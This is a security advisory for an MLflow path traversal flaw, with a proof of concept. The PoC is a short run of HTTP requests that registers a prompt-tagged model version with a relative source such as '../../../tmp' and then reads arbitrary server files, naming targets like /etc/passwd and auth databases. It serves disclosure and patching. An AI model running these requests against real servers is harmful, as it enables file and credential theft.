GHSA-m65p-9j7q-6w33: Path Traversal
Summary On MLflow tracking servers running without authentication, which is the default for mlflow server, a remote attacker can read arbitrary files from the server’s filesystem by creating a model version tagged as a prompt whose source is a schemeless local path.
The fix for CVE-2026-2614 in 3.10.0 added a prompt-specific branch to the CreateModelVersion handler that rejects file:// URIs and absolute paths but runs path validation only when the source carries a URL scheme. A schemeless value such as ../../etc, a plain relative name, ., a percent-encoded path, or a Windows drive-letter path is therefore stored unchanged as the model version’s artifact location, and the model-versions/get-artifact endpoint later serves files from it with the privileges of the server process. The tag check also keyed on the presence of the mlflow.prompt.isprompt tag rather than its value, so a false value still selected the weaker branch.
Servers using --app-name basic-auth are also affected: any authenticated user can create a registered model, so a low-privilege account can use this to read the authentication database, including the admin password hash.
Affected: MLflow 3.10.0 through 3.16.1. Fixed in 3.17.0 by mlflow/mlflow#25870, which accepts only MLflow’s own placeholder sources for prompt versions and requires the prompt tag to be true.
Details When creating a model version with the mlflow.prompt.isprompt tag set to true, the request is handled by the prompt branch in createmodelversion().
mlflow/server/handlers.py:2674-2690: python isprompt = ispromptrequest(requestmessage) if isprompt: source = requestmessage.source parsed = urllib.parse.urlparse(source) if parsed.scheme == "file" or (parsed.scheme == "" and source.startswith("/")): raise MlflowException(...) if parsed.scheme: validatenonlocalsourcecontainsrelativepaths(source) else: if requestmessage.modelid: validatesourcemodel(requestmessage.source, requestmessage.modelid) else: validatesourcerun(requestmessage.source, requestmessage.runid) The prompt branch does not call validatesourcerun(), validatesourcemodel(), or validatenonlocalsourcecontainsrelativepaths() for schemeless relative paths.
The artifact-read sink later trusts the stored source:
mlflow/server/handlers.py:2765-2782: python def getmodelversionartifacthandler(): name = request.args.get("name") version = request.args.get("version") path = request.args["path"] path = validatepathissafe(path) artifacturi = getmodelregistrystore().getmodelversiondownloaduri(name, version) ... else: artifactrepo = getartifactrepository(artifacturi) artifactpath = path
return sendartifact(artifactrepo, artifactpath) sendartifact() calls artifactrepository.downloadartifacts(path) and serves the resulting local file with sendfile().
PoC Prerequisite: A reachable MLflow tracking server with model registry endpoints enabled.
1. Create a sentinel file on the server: bash printf 'MLFLOWPWNEDSENTINELREPORT' > /tmp/sentinel-mlflow.txt
2. Send the following requests to the MLflow server to exploit the traversal:
First, create a registered model: http POST /api/2.0/mlflow/registered-models/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json
{"name": "pwned-model"}
Next, create a prompt-tagged model version with the malicious relative source ../../../tmp: http POST /api/2.0/mlflow/model-versions/create HTTP/1.1 Host: 127.0.0.1:5000 Content-Type: application/json
{ "name": "pwned-model", "source": "../../../tmp", "tags": [{"key": "mlflow.prompt.isprompt", "value": "true"}] }
Finally, retrieve the arbitrary file via the artifact download endpoint by supplying the target filename in the path parameter: http GET /api/2.0/mlflow/model-versions/get-artifact?name=pwned-model&version=1&path=sentinel-mlflow.txt HTTP/1.1 Host: 127.0.0.1:5000 This returns the contents of /tmp/sentinel-mlflow.txt. The same primitive can read sensitive files like /etc/passwd or tracking databases (e.g. mlflow.db).
Impact Direct impact is arbitrary local file read as the MLflow server process. Confirmed read targets include: - /etc/passwd - SQLite tracking databases readable by the process (e.g., mlflow-auth.db or basicauth.db) - Environment variables or configurations stored on disk - /home/user/.bashhistory
Threat model: An attacker who can reach the MLflow tracking server HTTP port can read arbitrary files readable by the MLflow server process. On unauthenticated MLflow deployments, this is directly exploitable without credentials. On auth-enabled deployments, any authenticated user (even low-privileged or "read-only" accounts, depending on default RBAC configurations allowing model creation) can use the primitive. Leaked credential stores may enable offline password attacks or broader administrative compromise.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mlflowto a version that resolves this vulnerability.Fixed in 3.17.0 - Upgrade
Upgrade
MLflowto a version that resolves this vulnerability.Fixed in 3.17.0Patch mlflow/mlflow#25870
Event History
Frequently Asked Questions
Which deployments are exposed?
MLflow tracking servers without authentication are exposed, and this is the default configuration for mlflow server. Deployments using --app-name basic-auth are also affected because any authenticated user able to create a registered model can exploit the issue.
What does an attacker need to do to read server files?
An unauthenticated remote attacker on a server without authentication needs to create a model version tagged with the mlflow.prompt.is_prompt tag and provide a schemeless local path as its source. The attacker can then use the model-versions/get-artifact endpoint to retrieve files accessible to the server process.
Does setting the prompt tag to false prevent exploitation?
No. The vulnerable tag check tests only whether mlflow.prompt.is_prompt is present, not whether its value is true, so a false value still selects the weaker validation branch.
What path forms can bypass the prompt-specific validation?
Schemeless paths are stored unchanged, including traversal paths such as ../../etc, plain relative names, ., percent-encoded paths, and Windows drive-letter paths. The added validation runs only when the source has a URL scheme, while rejecting file:// URIs and absolute paths.
What is the likely impact in a basic-auth deployment?
A low-privilege authenticated user can potentially read the authentication database. This can expose the administrator password hash if that database is readable by the MLflow server process.